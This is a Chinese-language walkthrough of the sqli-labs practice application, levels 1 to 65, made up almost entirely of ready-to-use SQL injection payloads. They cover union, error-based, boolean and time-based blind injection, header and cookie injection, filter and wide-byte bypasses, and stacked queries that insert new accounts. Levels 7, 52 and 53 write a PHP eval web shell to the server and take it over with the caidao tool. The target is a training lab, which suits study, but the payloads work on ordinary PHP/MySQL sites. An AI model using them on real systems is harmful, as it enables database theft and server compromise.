第一关
1.1、判断是否存在sql注入
1.提示输入id作为参数,输入
?id=1
2.改变值发现返回内容也不同
3.判断是否是字符型还是数字型,
?id=3'
?id=3' --+
结果为字符型且存在回显。
1.2、联合注入
第一步:查看列表列数
?id=1'order by 3 --+
报错即超出列数,例下
?id=1'order by 5 --+
第二步:爆出显示位置
?id=-1'union select 1,2,3--+
第三步:获取当前数据名和版本号
?id=-1'union select 1,database(),version()--+
第四步:爆表
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
第五步:爆字段名
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
第六步:获得敏感字段数据(username,password)
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
大家可能会疑惑,为什么id=1为什么突然变成id=-1了,我在下面几关做着做着发现了这个问题,为此我特地搜了一哈
原因竟然是!!!
这里id为-1是因为要让服务端返回union select 的结果,把id设置为-1,因为数据库没有-1的数据,所有会返回select的结果。
总结:联合查询,字符型,id参数
第二关
2.1、先试了试单引号双引号发现全都报错
单引号
双引号
2.2、试一下是不是数字型
?id=1 order by 3
很明显是数字型,可以注入
2.3、联合注入
一:?id=1 order by 3
二:?id=-1 union select 1,2,3
三:?id=-1 union select 1,database(),version()
四:?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
五:?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
六:?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
流程跟第一关差不多,直接用
总结:联合注入,数字型,id参数
第三关
3.1、测试单引号发现需要闭合单引号,考虑括号
单引号
?id=1'
双引号虽然没报错,但是注入不了
?id=1"order by 3 --+
3.2、通过单引号和括号发现可以进
?id=1') --+
3.3、联合注入
?id=2')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
直接最后一步得出结果
总结:符号绕过,字符型,联合注入
第四关
4.1、通过测关键词得知,双引号字符型加括号
?id=1"
跟第三关差不多,上关是双引号不起作用,这关是单引号不起作用
4.2、双引号加括号可以进
?id=1")order by 3 --+
4.3、联合查询几步走
?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+
总结:符号绕过,字符型,联合注入
第五关
5.1、测试发现,页面无回显,联合注入无效了(555)
5.2、报错注入
函数:extractvalue() updatexml()
第一步:找到闭合字符为'
?id=1\
第二步:爆库
方法一:?id=1'and extractvalue(1,concat("~",database())) --+
方法二:?id=1'and updatexml(1,concat("~",database()),1) --+
第三步:爆表
?id=1'and extractvalue(1,concat("~",(select group_concat(table_name) from information_schema.tables where table_schema='security'))) --+
第四步:爆列名
?id=1'and extractvalue(1,concat("~",(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'))) --+
第五步:爆账号
?id=1'and extractvalue(1,concat("~",(select group_concat(username,id,password) from users))) --+
总结:报错注入,符号闭合
第六关
6.1、跟第五关一样,报错注入,闭合符号为"
6.2、方法跟第五关一样把单引号改成双引号完事
?id=1"and extractvalue(1,concat("~",(select group_concat(username,id,password) from users))) --+
总结:报错注入,符号闭合
第七关
7.1、判断字段数,测出字段长度为3
?id=1')) order by 3 --+
7.2、写入木马进入webshell
在写入webshell之前需要将以下指令加入my.ini数据库文件的mysqld下面
(secure_file_priv=)
?id=1'))union select 1,"<?php eval($_REQUEST[1])?>",3 into outfile "F://phpstudy_pro//WWW//sqli-labs-master//Less-7//shell.php" --+
(路径用双斜杠,因为会被误译成转义符)
虽然报错了,但是我们可以看一下文件有没有出来
很明显文件出来了,内容也在
7.3、访问一下shell.php并传参
7.4、再利用caidao工具进入服务器
总结:堆叠注入,写木马传参,caidao工具
第八关
布尔盲注:
函数:length(),ascii() ,substr()
ascii表:Ascii完整码表(256个)_ascii码表-优快云博客
8.1、测试符号发现异常不显位,从而测出字段和符号
?id=1 'order by 3 --+
8.2、通过函数和异常猜出库名长度
?id=1' and (length(database()))=8 --+
8.3、通过异常与ascii码表的结合,猜库名
?id=1' and (ascii(substr(database(),1,1)))=115 --+
返回正常,查询ascii码表,库名第一位是s
?id=1' and (ascii(substr(database(),2,1)))=105 --+
返回正常,查询ascii码表,库名第二位是e
总共八位盲注出结果为security
8.4、猜表名
表长度为:29
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=29--+
疯狂用<>猜就完事了(注:,也算一位)
?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101 --+
返回正常,数据库表名的第一个的第一位为e
?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1)))=109 --+
返回正常,数据库表名的第一个的第二位为m
最终得出emails,referers,uagents,users
8.5、猜字段名
字段长度:20
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))=20--+
字段内容逐一判断
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))=105--+
得出结果:id,username,password
8.6、猜敏感信息
长度
?id=1'and length((select group_concat(username,id,password) from information_schema.tables where table_schema=database()))=39--+
你就测吧,一测一个不吱声
?id=1'and ascii(substr((select group_concat(username,password) from users),1,1))=68--+
返回值为$
总结:布尔盲注,ascii码表,函数
第九关
时间盲注
函数:sleep()
9.1、判断参数构造
?id=1' and if(1=1,sleep(10),1)--+
转圈满10s则注入成功,若没用10s怎么失败
9.2、判断数据库名长度
?id=1'and if(length((select database()))=8,sleep(10),1)--+
9.3、逐一判断数据库字符
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
9.4、判断所有表名长度
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
9.5、逐一判断表名
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
9.6、判断所有字段名的长度
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
9.7、逐一判断字段名。
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
9.8、判断字段内容长度
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
9.9、逐一检测内容。
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
总结:时间盲注,ascii码表,函数
第十关
10.1、与第九关一样只需测一下参数构造
符号改一下 ' → "
?id=1" and if(1=1,sleep(10),1)--+
总结:时间盲注,ascii码表,函数
第十一关
11.1、输入1报错
11.2、发现sql语句是username='参数' and password='参数'
11.3、恒成立sql语句,成功注入
'or 1=1 -- qwe
11.4、判断字段数
'or 1=1 order by 2 -- qwe
11.5、爆显错位
'union select 1,2 -- tang
11.6、
1.爆库、
'union select 1,database() -- tang
2.爆列、
?id=10'union select 1,table_name from information_schema.tables where table_schema='security' -- tang
3.爆字、
?id=10'union select 1,column_name from information_schema.columns where table_schema='security' and table_name='emails' -- tang
4.爆炸、
?id=10'union select 1,id from emails -- tang
总结:联合查询,万能绕过
第十二关
12.1、输入1'和1没反应,1"有报错信息,所以是双引号且有括号
1") or 1=1 -- tang
12.2、联合注入(可参考第十一关)
?id=10")union select 1,id from emails -- tang
总结:联合注入,符号绕过
第十三关
13.1、测出符号
1') or 1=1 -- tang
13.2、报错注入
爆库
')and updatexml(1,concat("~",database()),1) -- tang
爆表
')and updatexml(1,concat("~",(select table_name from information_schema.tables where table_schema='security' limit 0,1),"~"),1) -- tang
爆列
')and updatexml(1,concat("~",(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),"~"),1) -- tang
爆炸
')and updatexml(1,concat("~",(select id from emails limit 0,1),"~"),1) -- tang
总结:报错注入,符号闭合
第十四关
14.1、与第十三关一样,只需改个符号即可
"and updatexml(1,concat("~",(select id from emails limit 0,1),"~"),1) -- tang
总结:报错注入,符号闭合
第十五关
没用看见报错信息,用不了报错注入,
又发现有两个页面可以展示,正确页面和错误页面
很明显的布尔盲注
15.1、测出数据库
' or (length(database()))=8 -- tang
一步一步爆,布尔盲注你是我的好兄弟啊
总结:布尔盲注、ascii解码、函数
第十六关
16.1、与上一关相同:布尔盲注
与上一关不同:符号从'→")
")or (length(database()))=8 -- tang
总结:布尔盲注、ascii解码
第十七关
17.1、判断是否存在注入
' or 1=1 -- tang
结果成功,说明可以注入
17.2、试一下报错注入(参考第十三关)
爆库
'and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)-- tang
爆数据
1'and updatexml(1,concat("~",(select id from emails limit 0,1),"~"),1)-- tang
总结:报错注入,符号闭合
第十八关
18.1、抓包改一下User-Agent头
'and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1),1,1)-- tang
数据库爆出来了,后面多的两个1和括号为SQL语句里面的占位符和闭合符号。
18.2、爆列
1'and updatexml(1,concat("~",(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),"~"),1),1,1)-- tang
18.3、爆炸
1'and updatexml(1,concat("~",(select id from emails limit 0,1),"~"),1),1,1) -- tang
总结:报错盲注,User-Agent头
第十九关
19.1、只是换了个头(Referfer)查询,其他的与第十八关一样
1',updatexml (1,concat(0x5c,(select group_concat(username,"-",password) from users),0x5c),1))-- tang
总结:报错注入,Referfer头
第二十关
20.1、输入admin进入图1,再抓包注入(Cookie)图2,3
'and updatexml (1,concat(0x5c,(select group_concat(username,"-",password) from users),0x5c),1)-- tang
图1
图2
图3
总结:报错注入,Cookie
第二十一关
21.1、同样的方法抓包发现账户是base64编码
21.2、发现是单引号加括号报错(base64码注入),将SQL语句都编码成base64进行报错注入
原文:
admin')and updatexml (1,concat(0x5c,(select group_concat(username,"-",password) from users),0x5c),1)-- tang
密文:
YWRtaW4nKWFuZCB1cGRhdGV4bWwgKDEsY29uY2F0KDB4NWMsKHNlbGVjdCBncm91cF9jb25jYXQodXNlcm5hbWUsIi0iLHBhc3N3b3JkKSBmcm9tIHVzZXJzKSwweDVjKSwxKS0tIHRhbmc=
总结:报错注入,base64编码,Cookie值
第二十二关
22.1、与第二十一关一样,')→"
admin"and updatexml (1,concat(0x5c,(select group_concat(username,"-",password) from users),0x5c),1)-- tang
总结:报错注入,base64编码,Cookie值
第二十三关
23.1、测关键词,这题过滤了--空格和#
?id=1
输入单引号直接报错
23.2、测出注入标志
?id=1' or '1' ='1
消耗单引号
23.3、联合注入
爆库:
?id=-1' union select 1, database(),version() or '1' = '1
爆表:
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 or '1'='1
爆字段:
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' ),3 or '1'='1
爆米花:
?id=-1' union select 1,(select group_concat(password,"-",username) from users),3 or '1'='1
总结:get传参,联合注入,符号消耗
第二十四关
24.1、将危险参数注入数据库
第一步:注册
第二步:登录账号
第三步:修改密码
第四步:用修改的密码登录其他用户
成功注入数据库
总结:数据库注入,符号绕过
第二十五关
25.1用双写绕过or和and
?id=-2' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'--+
25.2联合注入
?id=-2' union select 1,2,group_concat(username,"-",passwoorrd) from users-- tang
总结:联合注入,双写绕过
第二十六关
26.1、过滤了逻辑运算符,注释符以及空格,可使用单引号进行闭合,双写绕过逻辑运算符或者使用&&和||替换
26.2、报错注入
爆表:
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))||'0
爆字段:
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'0
爆密码账户:
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,"@",username))from(users))),1))||'0
总结:报错注入,双写绕过,符号替换
第二十六-a关
该关卡和二十六关差不多,多了一个括号。不能使用报错注入,该页面不显示报错信息。需要使用联合注入和盲注。
总结:联合注入,盲注
第二十七关
27.1、没用禁用or,and,但过滤了select和union,可以用大小写和重写进行绕过
爆表:
?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1))or'0
爆字段:
?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(column_name))from(information_schema.columns)where(table_schema='security'and(table_name='users')))),1))or'0
爆密码账户:
?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(password,"@",username))from(users))),1))or'0
总结:报错注入,大小写及重写绕过
第二十七-a关
27.1、跟第二十七关过滤规则一样,只是没用显错位都要使用联合注入和盲注
爆字段:
?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand"1
爆字段内容
?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(password,id,username)from%0Ausers%0Awhere%0Aid=3%0Aand"1
总结:联合注入,盲注,重写绕过
第二十八关
28.1、过滤注释符空格,还过滤了union和select,其中union和select不区分大小。所以使用重写绕过写。
爆表:
?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and ('1
爆字段:
?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand('1
爆米花:(爆不出来米花)
?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(password,id,username)from%0Ausers%0Aand%0A('1
总结:联合注入,符号绕过
第二十八-a关
28.1、这关只过滤union+select。其他没有过滤。
爆字段名
?id=0')uniunion selecton select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'--+
总结:联合注入,符号绕过
第二十九关
29.1、测参数值,第一个参数正常,用第二个参数去注入
爆表:
?id=1&id=-2%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+
爆字段:
?id=1&id=-2%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name='users'--+
爆密码账户:
?id=1&id=-2%27%20union%20select%201,group_concat(password,"@",username),3%20from%20users--+
我还是比较喜欢中间加个隔断符号,这样更容易看清楚
总结:联合查询,参数叠加,符号绕过
第三十关
30.1、将单引号换成双引号,跟第二十九关差不多
?id=1&id=-2"%20union%20select%201,group_concat(password,"@",username),3%20from%20users--+
总结:联合查询,参数叠加,符号绕过
第三十一关
31.1、与第三十关一样,多了个括号
?id=1&id=-2")%20union%20select%201,group_concat(password,"@",username),3%20from%20users--+
总结:联合查询,参数叠加,符号绕过
第三十二关
32.1、使用preg_replace函数将斜杠,单引号和双引号都过滤了
宽字节注入:
当某字符的大小为一个字节时,称其字符为窄字节当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节。
32.2、疯狂注入
爆库:
?id=-1%df%27%20union%20select%201,database(),3%20--+
爆表:
?id=-1%df%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+
爆字段:
?id=-1%df%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+
爆账号密码:
?id=-1%df%27%20union%20select%201,group_concat(password,id,username),3%20from%20users--+
总结:宽字节注入,符号绕过,联合注入
第三十三关
33.1、不同的形式,相同的做法,与第三十二关一模一样
总结:宽字节注入,符号绕过,联合注入
第三十四关
34.1、可用宽字节绕过
汉' or 1=1 -- tang
34.2、联合注入
汉' union select 1,group_concat(password,id,username) from users -- tang
爆库什么的前面几关都有,这边我直接爆数据了哈
总结:addslashes函数,宽字节绕过,联合注入,
第三十五关
35.1、有坑,根本没闭合
?id=1 and 1=1
35.2、将表名换成16进制,直接联合查询就完事了
爆表:
?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()-- tang
爆字段:
?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273-- tang
爆账密:
?id=-1%20union%20select%201,group_concat(password,id,username),3%20from%20users--+
总结:16进制,无闭合,addslashes函数,联合注入
第三十六关
36.1、使用mysql_real_escape_string函数对于特殊字符进行转义,id参数为单引号,跟第三十二关一样
?id=-1%df%27%20union%20select%201,group_concat(password,id,username),3%20from%20users-- tang
总结:mysql_real_escape_string函数,宽字节注入,符号绕过,联合注入
第三十七关
37.1、mysql_real_escape_string函数转义,宽字节注入,其他跟第三十四关一样
汉' union select 1,group_concat(password,id,username) from users -- tang
总结:函数转义,宽字节注入,联合注入
第三十八关
38.1、单引号闭合?返璞归真了铁铁
?id=1'
38.2、因为函数原因,这里支持多条SQL语句
向数据表插入自己的账户密码:
?id=1';insert into users(id,username,password) values ('66','Wei','666666')--+
38.3、联合注入
查询字段:
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())b-- tang
查询密码账户:
?id=-1' union select 1,2,(select group_concat(username,id,password) from users)b-- tang
总结:堆叠注入,联合查询,mysql_real_escape_string函数
第三十九关
39.1、id参数是整数,正常联合注入
爆表:
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
爆炸:
?id=-1 union select 1,group_concat(username,password),3 from users
总结:联合查询,参数为整
第四十关
40.1、id整数加单引号括号闭合
爆表:
?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- tang
爆炸:
?id=-1') union select 1,group_concat(username,id,password),3 from users -- tang
总结:单引号闭合,联合注入
第四十一关
41.1、id整数,参看第三十九关
?id=-1 union select 1,group_concat(username,id,password),3 from users
总结:联合查询,参数为整
第四十二关
42.1、对数据库增加参数,堆叠注入
insert into users(id,username,password) values ('18','Wei','666')-- tang
42.2、抓包发现,账号进行了转义处理,密码却没有
login_user=1&login_password=1';insert into users(id,username,password) values ('18','Wei','666')-- tang&mysubmit=Login
username:Wei
password:666
总结:堆叠注入,抓包
第四十三关
43.1、除了参数是单引号和括号闭合,其他与第四十二关一样
login_user=1&login_password=1');insert into users(id,username,password) values ('18','Wei','666')-- tang&mysubmit=Login
总结:堆叠注入,抓包
第四十四关
44.1、参考四十二关
login_user=1&login_password=1';insert into users(id,username,password) values ('18','Wei','666')-- tang&mysubmit=Login
总结:堆叠注入,抓包
第四十五关
45.1、参考四十三关
login_user=1&login_password=1');insert into users(id,username,password) values ('18','Wei','666')-- tang&mysubmit=Login
总结:堆叠注入,抓包
第四十六关
46.1、使用新的参数sort,输入参数结果不同
?sort=1
46.2、加个单引号,爆出显错位
?sort=1'
46.3、直接上报错注入
?sort=1 and (updatexml(1,concat(0x5c,(select group_concat(password,id,username) from users),0x5c),1))
养成用参数隔开账号密码便于查看
总结:sort参数,报错注入
第四十七关
47.1、参考第四十六关,多了个单引号闭合
?sort=1'and (updatexml(1,concat(0x5c,(select group_concat(password,id,username) from users),0x5c),1)) -- tang
总结:报错注入,单引号闭合
第四十八关
48.1、这关和第四十六一样只不过没有报错显示,首先考虑到的是布尔盲注,但是尝试了几下发现,界面报错不唯二。
所以使用延时注入,公式如下
sleep()函数
48.2、判断数据库名长度
?sort=1 and if(length((select database()))=8,sleep(10),1)-- tang
48.3、逐一判断数据库字符
?sort=1 and if(ascii(substr((select database()),1,1))=115,sleep(5),1)-- tang
48.4、判断所有表名长度
?sort=1 and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)-- tang
48.5、逐一判断表名
?sort=1 and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)-- tang
48.6、判断所有字段名的长度
?sort=1 and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)-- tang
48.7、逐一判断字段名。
?sort=1 and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)-- tang
48.8、判断字段内容长度
?sort=1 and if(length((select group_concat(username,id,password) from users))>109,sleep(5),1)-- tang
48.9、逐一检测内容。
?sort=1 and if(ascii(substr((select group_concat(username,id,password) from users),1,1))>50,sleep(5),1)-- tang
总结:时间盲注,ascii码表,sleep()函数
第四十九关
49.1、这关和第四十七关一样,延时注入参考第四十八关
总结:时间盲注,ascii码表,sleep()函数
第五十关
50.1、与四十六关一样,可用报错注入,堆叠注入,延时注入
报错注入
?sort=1 and (updatexml(1,concat(0x5c,(select group_concat(password,id,username) from users),0x5c),1))
总结:报错注入,sort参数为整
第五十一关
51.1、参数单引号闭合,可用报错注入,可以延时注入,可以堆叠注入。
报错注入
?sort=1'and (updatexml(1,concat(0x5c,(select group_concat(password,id,username) from users),0x5c),1)) -- tang
总结:报错注入,符号闭合
第五十二关
52.1、该参数是整数型,且没有报错显示,只能堆叠注入或者延时注入
堆叠注入
?sort=1 ;select 1,"<?php eval($_REQUEST[8])?>",3 into outfile "F://phpstudy_pro//WWW//sqli-labs-master//Less-52//shell.php" -- tang
52.2、访问shell.php并传参
shell.php?8=phpinfo();
52.3、进入caidao
直接干掉服务器后台
总结:堆叠注入,写马,caidao
第五十三关
53.1、还是老朋友堆叠注入,参考第五十二关
outfile:
?sort=1' ;select 1,"<?php eval($_REQUEST[8])?>",3 into outfile "F://phpstudy_pro//WWW//sqli-labs-master//Less-53//shell.php" -- tang
传参:
shell.php?8=phpinfo();
caidao:
总结:堆叠注入,写码传参,caidao
第五十四关
54.1、翻译一下,让我交出密钥
54.2、id参数单引号闭合
爆表名:
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- tang
爆列名:
?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where%20table_schema=database() and table_name='bg0y8weyd1'-- tang
爆字段,获取key值:
?id=-1%27union%20select%201,group_concat(secret_1TJ5),3%20from%20bg0y8weyd1-- tang
Key值
SmGRI7VFDjb5Y9jZlwr0YNbA
总结:联合注入,单引号闭合,连环计
第五十五关
55.1、十四次机会,参数是加括号的整数,解法参考第五十四关
爆表名:
?id=-1)%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()-- tang
爆列名:
?id=-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='15pepsor6z'-- tang
获取key值:
?id=-1) union select 1,group_concat(secret_UQ5F),3 from 15pepsor6z-- tang
总结:联合注入,括号闭合,连环计
第五十六关
56.1、前两关差不多,这里是单引号括号闭合,再打一遍
爆表名:
?id=-1')%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()-- tang
爆列名:
?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='i45xsukrgy'-- tang
获取key值:
?id=-1') union select 1,group_concat(secret_PXMH),3 from i45xsukrgy-- tang
总结:联合注入,括号闭合,连环计
第五十七关
57.1、双引号闭合,我疯狂打
爆表名:
?id=-1"%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()-- tang
爆列名:
?id=-1" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='tv043atvmp'-- tang
获取key值:
?id=-1" union select 1,group_concat(secret_V1RY),3 from tv043atvmp-- tang
总结:联合注入,双引号闭合,连环计
第五十八关
58.1、有报错显示,从数组获得数据
可用报错注入
爆库名
?id=1' and updatexml(1,concat("~",database()),1)-- tang
爆表名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)-- tang
爆列名:
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='r4mqq88gvs'),0x7e),1)-- tang
爆Key值
?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_T4IH) from challenges.r4mqq88gvs),0x7e),1)-- tang
总结:报错注入,单引号闭合,连环计
第五十九关
59.1、和五十八关一样,用报错注入,id参数为整型
爆库名
?id=1 and updatexml(1,concat("~",database()),1)-- tang
爆表名
?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)-- tang
爆列名:
?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='8zm6zr7vl2'),0x7e),1)-- tang
爆Key值
?id=1 and updatexml(1,concat(0x7e,(select group_concat(secret_UOTM) from challenges.8zm6zr7vl2),0x7e),1)-- tang
总结:报错注入,id参数为整,连环计
第六十关
60.1、根据报错信息可知,id参数为双引号加括号闭合
爆库名
?id=1") and updatexml(1,concat("~",database()),1)-- tang
爆表名
?id=1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)-- tang
爆列名:
?id=1") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='qauoxodqx4'),0x7e),1)-- tang
爆Key值
?id=1") and updatexml(1,concat(0x7e,(select group_concat(secret_XLLZ) from challenges.qauoxodqx4),0x7e),1)-- tang
总结:报错注入,id参数双引号加括号闭合,连环计
第六十一关
61.1、由报错信息可知单引号加两个括号
爆库名
?id=1')) and updatexml(1,concat("~",database()),1)-- tang
爆表名
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)-- tang
爆列名:
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='vn3loxn806'),0x7e),1)-- tang
爆Key值
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(secret_3UGQ) from challenges.vn3loxn806),0x7e),1)-- tang
总结:报错注入,id参数单引号加两个括号闭合,连环计
第六十二关
62.1、id参数为单引号加括号,这里报错没用显示,所以用时间注入
62.2、判断数据库名长度
?id=1') and if(length((select database()))=8,sleep(10),1)-- tang
62.3、逐一判断数据库字符
?id=1') and if(ascii(substr((select database()),1,1))=115,sleep(5),1)-- tang
62.4、判断所有表名长度
?id=1') and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)-- tang
62.5、逐一判断表名
?id=1') and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)-- tang
62.6、判断所有字段名的长度
?id=1') and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)-- tang
62.7、逐一判断字段名。
?id=1') and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)-- tang
62.8、判断字段内容长度
?id=1') and if(length((select group_concat(username,id,password) from users))>109,sleep(5),1)-- tang
62.9、逐一检测内容。
?id=1') and if(ascii(substr((select group_concat(username,id,password) from users),1,1))>50,sleep(5),1)-- tang
总结:时间盲注,ascii码表,sleep()函数,id参数单引号加括号闭合
第六十三关
63.1、id参数为单引号,时间注入参考第六十二关,布尔盲注参考第八关
总结:时间盲注,ascii码表,sleep()函数,id参数单引号
第六十四关
64.1、id参数为两个括号,跟六十三关一样,时间注入,布尔盲注都可以
总结:时间盲注,ascii码表,sleep()函数,id参数双括号
第六十五关
65.1、跟前面两关差不多,id参数为双引号加括号闭合
最后一关,就用布尔盲注吧
65.2、布尔盲注
第一步:判断数据库名长度
?id=1")and length((select database()))=10-- tang
第二步:判断库名
?id=1")and ascii(substr((select database()),1,1))=99-- tang
99=c
?id=1")and ascii(substr((select database()),2,1))=104-- tang
104=h
?id=1")and ascii(substr((select database()),3,1))=104-- tang
=a
=l
=l
=e
=n
=g
=e
=s
长度为10,得到的结果就是库名为:challenges
第三步:判断表名长度
?id=1")and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13-- tang
第四步:判断表名
?id=1")and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99-- tang
第五步:判断字段名长度
?id=1")and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20-- tang
第六步:判断字段名
?id=1")and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99-- tang
第七步:判断数据长度
?id=1") and length((select group_concat(username,password) from users))>109-- tang
第八步:判断数据内容
?id=1") and ascii(substr((select group_concat(username,password) from users),1,1))>50-- tang
总结:布尔盲注比较麻烦,但是也能注
终于打完了哈哈哈哈哈哈哈